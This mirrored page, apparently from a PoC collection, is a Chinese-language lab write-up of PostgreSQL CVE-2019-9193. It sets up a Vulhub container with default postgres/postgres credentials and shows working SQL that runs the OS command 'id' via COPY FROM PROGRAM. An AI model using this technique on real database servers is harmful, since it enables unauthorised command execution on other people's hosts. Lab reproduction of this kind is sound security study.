mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-07 11:58:05 +00:00
42 lines
1016 B
Markdown
42 lines
1016 B
Markdown
|
|
# PostgreSQL 高权限命令执行漏洞 CVE-2019-9193
|
|||
|
|
|
|||
|
|
## 漏洞描述
|
|||
|
|
|
|||
|
|
PostgreSQL 是一款关系型数据库。其9.3到11版本中存在一处“特性”,管理员或具有“COPY TO/FROM PROGRAM”权限的用户,可以使用这个特性执行任意命令。
|
|||
|
|
|
|||
|
|
参考链接:
|
|||
|
|
|
|||
|
|
- https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5
|
|||
|
|
|
|||
|
|
## 环境搭建
|
|||
|
|
|
|||
|
|
Vulhub启动存在漏洞的环境:
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
docker-compose up -d
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
环境启动后,将开启Postgres默认的5432端口,默认账号密码为postgres/postgres。
|
|||
|
|
|
|||
|
|
## 漏洞复现
|
|||
|
|
|
|||
|
|
连接数据库:
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
psql --host your-ip --username postgres
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
首先连接到postgres中,并执行参考链接中的POC:
|
|||
|
|
|
|||
|
|
```sql
|
|||
|
|
DROP TABLE IF EXISTS cmd_exec;
|
|||
|
|
CREATE TABLE cmd_exec(cmd_output text);
|
|||
|
|
COPY cmd_exec FROM PROGRAM 'id';
|
|||
|
|
SELECT * FROM cmd_exec;
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
`FROM PROGRAM`语句将执行命令id并将结果保存在cmd_exec表中:
|
|||
|
|
|
|||
|
|

|
|||
|
|
|